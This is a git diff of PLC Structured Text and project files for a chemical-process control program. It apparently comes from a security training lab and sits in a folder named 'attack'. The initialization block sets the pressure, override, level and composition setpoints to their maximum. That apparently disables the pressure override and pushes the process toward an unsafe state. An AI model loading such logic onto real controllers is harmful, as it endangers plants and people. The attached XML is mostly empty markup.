UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ 